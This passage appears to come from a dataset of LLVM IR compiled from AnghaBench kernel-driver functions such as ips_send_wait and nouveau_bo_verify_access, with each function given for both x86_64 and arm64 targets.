!{!"TYPE_9__", !6, i64 0, !6, i64 4} !11 = !{!12, !13, i64 8} !12 = !{!"TYPE_8__", !6, i64 0, !13, i64 8} !13 = !{!"any pointer", !7, i64 0} !14 = !{!10, !6, i64 0} !15 = !{!12, !6, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/scsi/extr_ips.c_ips_send_wait.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/scsi/extr_ips.c_ips_send_wait.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [14 x i8] c"ips_send_wait\00", align 1 @IPS_FFDC = common local_unnamed_addr global i32 0, align 4 @TRUE = common local_unnamed_addr global i32 0, align 4 @ipsintr_blocking = common local_unnamed_addr global i32 0, align 4 @IPS_FAILURE = common local_unnamed_addr global i32 0, align 4 @IPS_SUCCESS_IMM = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @ips_send_wait], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @ips_send_wait(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 { %5 = tail call i32 @METHOD_TRACE(ptr noundef nonnull @.str, i32 noundef 1) #2 %6 = load i32, ptr @IPS_FFDC, align 4, !tbaa !6 %7 = icmp eq i32 %6, %3 br i1 %7, label %14, label %8 8: ; preds = %4 %9 = load i32, ptr @TRUE, align 4, !tbaa !6 %10 = getelementptr inbounds i8, ptr %0, i64 4 store i32 %9, ptr %10, align 4, !tbaa !10 %11 = getelementptr inbounds i8, ptr %1, i64 8 %12 = load ptr, ptr %11, align 8, !tbaa !12 %13 = load i32, ptr %12, align 4, !tbaa !6 store i32 %13, ptr %0, align 4, !tbaa !15 br label %14 14: ; preds = %8, %4 %15 = load i32, ptr @ipsintr_blocking, align 4, !tbaa !6 store i32 %15, ptr %1, align 8, !tbaa !16 %16 = tail call i32 @ips_send_cmd(ptr noundef %0, ptr noundef nonnull %1) #2 %17 = load i32, ptr @IPS_FAILURE, align 4, !tbaa !6 %18 = icmp eq i32 %16, %17 %19 = load i32, ptr @IPS_SUCCESS_IMM, align 4 %20 = icmp eq i32 %16, %19 %21 = select i1 %18, i1 true, i1 %20 %22 = load i32, ptr @IPS_FFDC, align 4 %23 = icmp eq i32 %22, %3 %24 = select i1 %21, i1 true, i1 %23 br i1 %24, label %27, label %25 25: ; preds = %14 %26 = tail call i32 @ips_wait(ptr noundef %0, i32 noundef %2, i32 noundef %3) #2 br label %27 27: ; preds = %25, %14 %28 = phi i32 [ %16, %14 ], [ %26, %25 ] ret i32 %28 } declare i32 @METHOD_TRACE(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @ips_send_cmd(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ips_wait(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 4} !11 = !{!"TYPE_9__", !7, i64 0, !7, i64 4} !12 = !{!13, !14, i64 8} !13 = !{!"TYPE_8__", !7, i64 0, !14, i64 8} !14 = !{!"any pointer", !8, i64 0} !15 = !{!11, !7, i64 0} !16 = !{!13, !7, i64 0}
fastsocket_kernel_drivers_scsi_extr_ips.c_ips_send_wait
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/nouveau/extr_nouveau_bo.c_nouveau_bo_verify_access.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/nouveau/extr_nouveau_bo.c_nouveau_bo_verify_access.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @nouveau_bo_verify_access], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @nouveau_bo_verify_access(ptr noundef %0, ptr nocapture noundef readonly %1) #0 { %3 = tail call ptr @nouveau_bo(ptr noundef %0) #2 %4 = load i32, ptr %1, align 4, !tbaa !5 %5 = tail call i32 @drm_vma_node_verify_access(ptr noundef %3, i32 noundef %4) #2 ret i32 %5 } declare ptr @nouveau_bo(ptr noundef) local_unnamed_addr #1 declare i32 @drm_vma_node_verify_access(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"file", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/nouveau/extr_nouveau_bo.c_nouveau_bo_verify_access.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/nouveau/extr_nouveau_bo.c_nouveau_bo_verify_access.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @nouveau_bo_verify_access], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @nouveau_bo_verify_access(ptr noundef %0, ptr nocapture noundef readonly %1) #0 { %3 = tail call ptr @nouveau_bo(ptr noundef %0) #2 %4 = load i32, ptr %1, align 4, !tbaa !6 %5 = tail call i32 @drm_vma_node_verify_access(ptr noundef %3, i32 noundef %4) #2 ret i32 %5 } declare ptr @nouveau_bo(ptr noundef) local_unnamed_addr #1 declare i32 @drm_vma_node_verify_access(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"file", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
linux_drivers_gpu_drm_nouveau_extr_nouveau_bo.c_nouveau_bo_verify_access
; ModuleID = 'AnghaBench/linux/drivers/extcon/extr_extcon-intel-cht-wc.c_cht_wc_extcon_set_state.c' source_filename = "AnghaBench/linux/drivers/extcon/extr_extcon-intel-cht-wc.c_cht_wc_extcon_set_state.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @EXTCON_CHG_USB_SDP = dso_local local_unnamed_addr global i32 0, align 4 @EXTCON_USB = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @cht_wc_extcon_set_state], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @cht_wc_extcon_set_state(ptr nocapture noundef readonly %0, i32 noundef %1, i32 noundef %2) #0 { %4 = load i32, ptr %0, align 4, !tbaa !5 %5 = tail call i32 @extcon_set_state_sync(i32 noundef %4, i32 noundef %1, i32 noundef %2) #2 %6 = load i32, ptr @EXTCON_CHG_USB_SDP, align 4, !tbaa !10 %7 = icmp eq i32 %6, %1 br i1 %7, label %8, label %12 8: ; preds = %3 %9 = load i32, ptr %0, align 4, !tbaa !5 %10 = load i32, ptr @EXTCON_USB, align 4, !tbaa !10 %11 = tail call i32 @extcon_set_state_sync(i32 noundef %9, i32 noundef %10, i32 noundef %2) #2 br label %12 12: ; preds = %8, %3 ret void } declare i32 @extcon_set_state_sync(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"cht_wc_extcon_data", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!7, !7, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/extcon/extr_extcon-intel-cht-wc.c_cht_wc_extcon_set_state.c' source_filename = "AnghaBench/linux/drivers/extcon/extr_extcon-intel-cht-wc.c_cht_wc_extcon_set_state.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @EXTCON_CHG_USB_SDP = common local_unnamed_addr global i32 0, align 4 @EXTCON_USB = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @cht_wc_extcon_set_state], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @cht_wc_extcon_set_state(ptr nocapture noundef readonly %0, i32 noundef %1, i32 noundef %2) #0 { %4 = load i32, ptr %0, align 4, !tbaa !6 %5 = tail call i32 @extcon_set_state_sync(i32 noundef %4, i32 noundef %1, i32 noundef %2) #2 %6 = load i32, ptr @EXTCON_CHG_USB_SDP, align 4, !tbaa !11 %7 = icmp eq i32 %6, %1 br i1 %7, label %8, label %12 8: ; preds = %3 %9 = load i32, ptr %0, align 4, !tbaa !6 %10 = load i32, ptr @EXTCON_USB, align 4, !tbaa !11 %11 = tail call i32 @extcon_set_state_sync(i32 noundef %9, i32 noundef %10, i32 noundef %2) #2 br label %12 12: ; preds = %8, %3 ret void } declare i32 @extcon_set_state_sync(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"cht_wc_extcon_data", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!8, !8, i64 0}
linux_drivers_extcon_extr_extcon-intel-cht-wc.c_cht_wc_extcon_set_state
; ModuleID = 'AnghaBench/freebsd/sys/dev/isci/scil/extr_scic_sds_controller.c_scic_sds_controller_polling_interrupt_handler.c' source_filename = "AnghaBench/freebsd/sys/dev/isci/scil/extr_scic_sds_controller.c_scic_sds_controller_polling_interrupt_handler.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @SCIC_LOG_OBJECT_CONTROLLER = dso_local local_unnamed_addr global i32 0, align 4 @SMU_ISR_COMPLETION = dso_local local_unnamed_addr global i32 0, align 4 @SMU_ISR_QUEUE_ERROR = dso_local local_unnamed_addr global i32 0, align 4 @SMU_ISR_QUEUE_SUSPEND = dso_local local_unnamed_addr global i32 0, align 4 @FALSE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @scic_sds_controller_polling_interrupt_handler], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @scic_sds_controller_polling_interrupt_handler(i64 noundef %0) #0 { %2 = inttoptr i64 %0 to ptr %3 = tail call i32 @sci_base_object_get_logger(i64 noundef %0) #2 %4 = trunc i64 %0 to i32 %5 = tail call i32 @SCIC_LOG_TRACE(i32 noundef %4) #2 %6 = tail call i32 @SMU_ISR_READ(ptr noundef %2) #2 %7 = load i32, ptr @SMU_ISR_COMPLETION, align 4, !tbaa !5 %8 = load i32, ptr @SMU_ISR_QUEUE_ERROR, align 4, !tbaa !5 %9 = or i32 %8, %7 %10 = load i32, ptr @SMU_ISR_QUEUE_SUSPEND, align 4, !tbaa !5 %11 = or i32 %9, %10 %12 = and i32 %11, %6 %13 = icmp eq i32 %12, 0 br i1 %13, label %14, label %16 14: ; preds = %1 %15 = load i32, ptr @FALSE, align 4, !tbaa !5 br label %18 16: ; preds = %1 %17 = tail call i32 @scic_sds_controller_standard_interrupt_handler(i64 noundef %0, i32 noundef %6) #2 br label %18 18: ; preds = %16, %14 %19 = phi i32 [ %15, %14 ], [ %17, %16 ] ret i32 %19 } declare i32 @SCIC_LOG_TRACE(i32 noundef) local_unnamed_addr #1 declare i32 @sci_base_object_get_logger(i64 noundef) local_unnamed_addr #1 declare i32 @SMU_ISR_READ(ptr noundef) local_unnamed_addr #1 declare i32 @scic_sds_controller_standard_interrupt_handler(i64 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/freebsd/sys/dev/isci/scil/extr_scic_sds_controller.c_scic_sds_controller_polling_interrupt_handler.c' source_filename = "AnghaBench/freebsd/sys/dev/isci/scil/extr_scic_sds_controller.c_scic_sds_controller_polling_interrupt_handler.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @SCIC_LOG_OBJECT_CONTROLLER = common local_unnamed_addr global i32 0, align 4 @SMU_ISR_COMPLETION = common local_unnamed_addr global i32 0, align 4 @SMU_ISR_QUEUE_ERROR = common local_unnamed_addr global i32 0, align 4 @SMU_ISR_QUEUE_SUSPEND = common local_unnamed_addr global i32 0, align 4 @FALSE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @scic_sds_controller_polling_interrupt_handler], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @scic_sds_controller_polling_interrupt_handler(i64 noundef %0) #0 { %2 = inttoptr i64 %0 to ptr %3 = tail call i32 @sci_base_object_get_logger(i64 noundef %0) #2 %4 = trunc i64 %0 to i32 %5 = tail call i32 @SCIC_LOG_TRACE(i32 noundef %4) #2 %6 = tail call i32 @SMU_ISR_READ(ptr noundef %2) #2 %7 = load i32, ptr @SMU_ISR_COMPLETION, align 4, !tbaa !6 %8 = load i32, ptr @SMU_ISR_QUEUE_ERROR, align 4, !tbaa !6 %9 = or i32 %8, %7 %10 = load i32, ptr @SMU_ISR_QUEUE_SUSPEND, align 4, !tbaa !6 %11 = or i32 %9, %10 %12 = and i32 %11, %6 %13 = icmp eq i32 %12, 0 br i1 %13, label %14, label %16 14: ; preds = %1 %15 = load i32, ptr @FALSE, align 4, !tbaa !6 br label %18 16: ; preds = %1 %17 = tail call i32 @scic_sds_controller_standard_interrupt_handler(i64 noundef %0, i32 noundef %6) #2 br label %18 18: ; preds = %16, %14 %19 = phi i32 [ %15, %14 ], [ %17, %16 ] ret i32 %19 } declare i32 @SCIC_LOG_TRACE(i32 noundef) local_unnamed_addr #1 declare i32 @sci_base_object_get_logger(i64 noundef) local_unnamed_addr #1 declare i32 @SMU_ISR_READ(ptr noundef) local_unnamed_addr #1 declare i32 @scic_sds_controller_standard_interrupt_handler(i64 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
freebsd_sys_dev_isci_scil_extr_scic_sds_controller.c_scic_sds_controller_polling_interrupt_handler
; ModuleID = 'AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event_rate_change.c' source_filename = "AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event_rate_change.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %union.rc_pid_event_data = type { i32 } @RC_PID_EVENT_TYPE_RATE_CHANGE = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @rate_control_pid_event_rate_change(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = alloca %union.rc_pid_event_data, align 4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 store i32 %2, ptr %4, align 4, !tbaa !5 %5 = load i32, ptr @RC_PID_EVENT_TYPE_RATE_CHANGE, align 4, !tbaa !8 %6 = call i32 @rate_control_pid_event(ptr noundef %0, i32 noundef %5, ptr noundef nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @rate_control_pid_event(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"omnipotent char", !7, i64 0} !7 = !{!"Simple C/C++ TBAA"} !8 = !{!9, !9, i64 0} !9 = !{!"int", !6, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event_rate_change.c' source_filename = "AnghaBench/fastsocket/kernel/net/mac80211/extr_rc80211_pid_debugfs.c_rate_control_pid_event_rate_change.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %union.rc_pid_event_data = type { i32 } @RC_PID_EVENT_TYPE_RATE_CHANGE = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @rate_control_pid_event_rate_change(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 { %4 = alloca %union.rc_pid_event_data, align 4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3 store i32 %2, ptr %4, align 4, !tbaa !6 %5 = load i32, ptr @RC_PID_EVENT_TYPE_RATE_CHANGE, align 4, !tbaa !9 %6 = call i32 @rate_control_pid_event(ptr noundef %0, i32 noundef %5, ptr noundef nonnull %4) #3 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @rate_control_pid_event(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 